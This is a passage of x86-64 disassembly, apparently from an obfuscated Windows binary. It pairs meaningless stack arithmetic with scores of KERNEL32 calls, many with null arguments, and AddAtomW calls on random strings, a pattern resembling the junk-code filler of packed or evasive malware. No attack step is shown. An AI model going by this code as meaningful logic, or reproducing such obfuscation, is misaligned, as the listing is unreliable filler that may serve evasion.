movzx eax, byte [rsp + 0x396]
movzx ecx, byte [rsp + 0x391]
xor eax, ecx
mov byte [rsp + 0x378], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov eax, dword [rsp + 0x6440]
mov dword [rsp + 0x6584], eax
mov rax, qword [rsp + 0xc9d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37e]
and eax, ecx
mov byte [rsp + 0x38e], al
mov rcx, qword [rsp + 0xc920]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [0x1401c8a28]
shl eax, cl
mov word [0x1401c7094], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6e8], rax
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1d14], ax
lea rax, [rsp + 0x2008]
mov qword [rsp + 0xca60], rax
movzx eax, word [rsp + 0x2064]
mov rcx, qword [rsp + 0xc558]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc980]
mov word [rcx], ax
mov rax, qword [rsp + 0xc590]
mov rax, qword [rax]
mov qword [rsp + 0xca68], rax
mov rax, qword [rsp + 0xc520]
mov ecx, dword [rsp + 0x6464]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5b60], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.DzqUk41OZc121
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xca70], rax
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x205]
add eax, ecx
mov byte [rsp + 0x393], al
lea rcx, [rsp + 0x1fee8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0x1d4d0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ecx, word [rsp + 0x1f90]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2088], ax
lea rax, [rsp + 0x2068]
mov qword [rsp + 0xca78], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64f4], eax
movzx eax, word [rsp + 0x9cc]
movzx ecx, word [rsp + 0x2064]
sub eax, ecx
mov rcx, qword [rsp + 0xc618]
mov word [rcx], ax
lea rdx, [rsp + 0x26028]
mov rcx, qword [rsp + 0xc7a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6588], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6430], eax
mov rcx, qword [rsp + 0xc918]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6480], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc388]
mov qword [0x1401c8b20], rax
movzx ecx, word [rsp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f6c], ax
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca18]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
movzx ecx, word [rsp + 0x1f80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f10], ax
lea rcx, [rsp + 0x1ff18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0xc540]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc878]
mov qword [rsp + 0xca80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca80]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xc738]
mov qword [rcx], rax
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401c8a78]
shl rax, cl
mov rcx, qword [rsp + 0xc540]
mov qword [rcx], rax
lea rdx, [rsp + 0x26258]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6480], eax
movzx ecx, word [rsp + 0x2004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x201c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6558], eax
mov r9d, 0x1999
xor r8d, r8d
lea rdx, [rsp + 0xc038]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x658c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov word [rsp + 0x208c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xc848]
mov rcx, qword [rsp + 0xc6a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc728]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
lea rax, str.5qKr
mov qword [rsp + 0xca88], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6590], eax
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64b0], eax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0xbf50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc830], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
lea rcx, str.LfsBCp7_SCGtEiT90cTF2e4um
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2090], ax
lea rax, [rsp + 0x377]
mov qword [rsp + 0xca90], rax
lea rcx, [rsp + 0x1d4f8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [rsp + 0x1fdc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc400]
mov eax, dword [rax]
mov ecx, dword [0x1401c8ab0]
xor ecx, eax
mov eax, ecx
mov dword [0x1401c7008], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
lea rdx, [rsp + 0x26140]
mov rcx, qword [rsp + 0xc5c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6504], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xca98], rax
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x134c], ax
movsx eax, word [rsp + 0x1fb4]
mov rcx, qword [rsp + 0xc888]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1928], ax
movzx eax, word [rsp + 0x1ce4]
mov rcx, qword [rsp + 0xc900]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1bb8], ax
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6558], eax
mov rcx, qword [rsp + 0xc798]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6594], eax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc540]
mov qword [rsp + 0xcaa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcaa0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xab60], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov eax, dword [0x1401c8ab0]
mov dword [rsp + 0x6598], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x62bc], eax
mov r9d, 0x1466
xor r8d, r8d
lea rdx, [rsp + 0xca10]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6548], eax
mov rax, qword [rsp + 0xc780]
mov rcx, qword [rsp + 0xc820]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc790], rax
lea rcx, str.Llsgo.RzQOJu_ERL
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2094], ax
movsx eax, byte [rsp + 0x38f]
movsx ecx, byte [rsp + 0x37d]
imul eax, ecx
mov rcx, qword [rsp + 0xc368]
mov byte [rcx], al
mov rax, qword [rsp + 0xc268]
movzx eax, word [rax]
mov word [rsp + 0x2098], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x653c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movzx ecx, word [rsp + 0x1f74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2088], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x628c], eax
mov edx, 0x37c
mov rcx, qword [rsp + 0xc5f0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x628c], eax
mov rax, qword [rsp + 0xc618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f0c]
add eax, ecx
mov word [0x1401c7098], ax
mov rax, qword [0x1401c8a90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc908]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xca18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rcx, [rsp + 0x1d548]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rax, [rsp + 0x9cc]
mov qword [rsp + 0xcaa8], rax
mov eax, dword [rsp + 0x5aac]
mov ecx, dword [rsp + 0x5520]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6560], eax
mov r9d, 0x1212
xor r8d, r8d
lea rdx, [rsp + 0xc478]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6458], eax
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36b]
sar eax, cl
mov byte [rsp + 0x26d], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xbf50]
mov rcx, qword [rsp + 0xc910]
mov qword [rsp + 0xcab0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcab0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbfd8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xcab8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
movsx eax, byte [rsp + 0x38f]
mov rcx, qword [rsp + 0xc8f8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc720]
mov byte [rcx], al
lea rdx, [rsp + 0x26108]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6588], eax
mov eax, dword [rsp + 0x5a54]
mov dword [rsp + 0x659c], eax
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65a0], eax
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2064]
add eax, ecx
mov word [0x1401c7028], ax
lea rdx, [rsp + 0x26290]
mov rcx, qword [rsp + 0xc8a0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x632c], eax
mov rcx, qword [rsp + 0xc890]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x1401c8a30]
cqo
movabs rcx, 0x786d1613a71d70
idiv rcx
mov qword [rsp + 0xc908], rax
mov r9d, 0x26ce
xor r8d, r8d
lea rdx, [rsp + 0xc870]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6574], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xc928]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9f10], rax
mov rax, qword [0x1401c8a38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1608], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x92c]
mov word [rsp + 0x209c], ax
mov eax, dword [rsp + 0x6544]
movzx ecx, al
mov eax, dword [rsp + 0x6514]
shl eax, cl
mov dword [rsp + 0x5ed0], eax
mov r9d, 0x1a54
xor r8d, r8d
lea rdx, [rsp + 0xc9e0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x65a0], eax
mov rax, qword [0x1401c8ac0]
mov rcx, qword [rsp + 0xc350]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa270], rax
movsx eax, byte [rsp + 0x205]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x37e], al
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc760]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x98d8], rax
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, word [rsp + 0x1238]
movsx ecx, word [rsp + 0x2014]
sub eax, ecx
mov word [0x1401c7050], ax
movzx eax, word [rsp + 0xa20]
mov word [rsp + 0x20a0], ax
lea rcx, [rsp + 0x1ff48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x117]
imul eax, eax, 0x7e
mov byte [rsp + 0x37b], al
mov rax, qword [rsp + 0xc848]
mov eax, dword [rax]
mov dword [rsp + 0x65a4], eax
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0xc420]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ae8], rax
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e80], eax
mov rax, qword [rsp + 0xc378]
mov rcx, qword [rsp + 0xc4a0]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xb3e0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x634c], eax
movsx eax, byte [rsp + 0x380]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x38b], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x2060]
mov word [rsp + 0x20a4], ax
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x11e4]
mov word [0x1401c8b28], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65a8], eax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc990]
mov qword [rsp + 0xcac0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcac0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc5e8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [0x1401c8ad0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ce4]
sar eax, cl
mov rcx, qword [rsp + 0xcaa8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1f68]
movsx ecx, word [rsp + 0x1fb4]
and eax, ecx
mov word [rsp + 0xeb8], ax
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc560]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x98d8], rax
lea rax, [rsp + 0x388]
mov qword [rsp + 0xcac8], rax
mov rax, qword [rsp + 0xca20]
mov rcx, qword [rsp + 0xc590]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xca40], rax
mov eax, dword [rsp + 0x6448]
imul eax, dword [rsp + 0x5d98]
mov rcx, qword [rsp + 0xc400]
mov dword [rcx], eax
mov r9d, 0xa0a
xor r8d, r8d
lea rdx, [rsp + 0xc490]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6540], eax
mov r9d, 1
lea r8, [rsp + 0xc318]
mov rdx, qword [rsp + 0xc098]
mov rcx, qword [rsp + 0xc958]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x65ac], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
movzx eax, word [rsp + 0x1f84]
mov word [rsp + 0x20a8], ax
movzx ecx, word [rsp + 0x1f88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20ac], ax
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc700]
sub rcx, rax
mov rax, rcx
mov qword [0x1401c8ae8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
movzx ecx, word [rsp + 0x1f5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f4c], ax
movzx eax, byte [0x1401c8a16]
movzx ecx, byte [rsp + 0x117]
shl eax, cl
mov rcx, qword [rsp + 0xc4b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x6398]
mov dword [rsp + 0x65b0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x1fe8]
movsx ecx, word [rsp + 0xfa0]
sar eax, cl
mov word [rsp + 0x1f9c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64d0], eax
mov rcx, qword [rsp + 0xc048]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
lea rax, [0x1401c7038]
mov qword [rsp + 0xcad0], rax
mov rax, qword [rsp + 0xc400]
mov rcx, qword [rsp + 0xc570]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x56b8], eax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
imul rax, qword [rsp + 0xc008]
mov rcx, qword [rsp + 0xc590]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc8e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2b6]
sub eax, ecx
mov byte [rsp + 0x228], al
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bf8], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1718]
add eax, ecx
mov word [0x1401c709c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcad8], rax
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov qword [rsp + 0xcae0], rax
mov rax, qword [rsp + 0xc088]
mov rcx, qword [rsp + 0xc608]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc500], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc828]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc088], rax
movsx eax, word [rsp + 0x1f68]
movsx ecx, word [rsp + 0x2000]
or eax, ecx
mov word [rsp + 0x17bc], ax
mov rax, qword [rsp + 0xcac8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c8a12]
shl eax, cl
mov rcx, qword [rsp + 0xc9d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc488]
mov qword [rsp + 0xcae8], rax
mov rax, qword [rsp + 0xc8c0]
mov ecx, dword [rsp + 0x5a3c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5e5c], eax
movzx eax, byte [rsp + 0x38d]
movzx ecx, byte [str.5qKr]
cdq
idiv ecx
mov byte [rsp + 0x394], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc080], rax
lea rcx, str.Tqt84_L5Jpv.8CPFzvSNo
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x20b0], ax
lea rdx, [rsp + 0x26258]
mov rcx, qword [rsp + 0xc538]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6468], eax
movzx ecx, word [rsp + 0x1fa4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20b4], ax
mov rax, qword [rsp + 0xc728]
mov eax, dword [rax]
mov dword [rsp + 0x65b4], eax
lea rcx, str.ZDsNXcJIhTW2_V2F8z
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1ff4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
lea rcx, str.CbYJRW
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2028], ax
lea rax, [rsp + 0x2098]
mov qword [0x1401c8b30], rax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f70]
xor eax, ecx
mov word [rsp + 0x20a0], ax
mov rcx, qword [rsp + 0xc290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, str.CIrNCLzg2oTq3_CcEy
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x20b8], ax
lea rax, [rsp + 0x858]
mov qword [rsp + 0xcaf0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rsp + 0xc490]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x98d8]
movzx ecx, al
mov rax, qword [rsp + 0x9f10]
sar rax, cl
mov qword [rsp + 0xc560], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65b8], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0xc9d8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c8a26]
sub eax, ecx
mov byte [rsp + 0x26b], al
mov eax, dword [rsp + 0x6380]
movzx ecx, al
mov eax, dword [rsp + 0x64ac]
shr eax, cl
mov rcx, qword [rsp + 0xc6d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb0e0]
mov rcx, qword [rsp + 0xc008]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc950], rax
mov rax, qword [0x1401c8a38]
movzx eax, word [rax]
mov word [rsp + 0x20bc], ax
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
shl eax, cl
mov word [rsp + 0x208c], ax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xca00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c7078], rax
mov rax, qword [rsp + 0xcaf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14a0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0xa530]
mov rcx, qword [rsp + 0xc500]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9c0], rax
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc868]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc7d0], rax
mov r9d, 2
lea r8, [rsp + 0xc320]
mov rdx, qword [rsp + 0xc098]
mov rcx, qword [rsp + 0xc598]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x65bc], eax
mov rax, qword [rsp + 0xca30]
movzx eax, byte [rax]
mov byte [rsp + 0x397], al
mov rax, qword [rsp + 0xca20]
mov rcx, qword [rsp + 0xc508]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ee8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [0x1401c8a20]
mov qword [rsp + 0xcaf8], rax
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x395]
add eax, ecx
mov byte [rsp + 0x30b], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65c0], eax
mov eax, dword [rsp + 0x62f4]
mov ecx, dword [rsp + 0x6400]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x659c], eax
mov rcx, qword [rsp + 0xc930]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
lea rcx, str.M_xuqS_G3qsU_iLotR
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1ffc], ax
lea rcx, [rsp + 0x1fee8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [0x1401c8a80]
mov rcx, qword [rsp + 0xc7f8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401c8a14], ax
mov rax, qword [rsp + 0xc9f0]
movzx eax, word [rax]
mov word [rsp + 0x20c0], ax
movzx eax, word [rsp + 0xc24]
movzx ecx, word [rsp + 0xfc8]
shl eax, cl
mov word [rsp + 0x1718], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8a50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x114c]
or eax, ecx
mov word [rsp + 0x1b74], ax
movzx ecx, word [rsp + 0x1fcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f24], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6e8], rax
mov eax, dword [rsp + 0x64ac]
movzx ecx, al
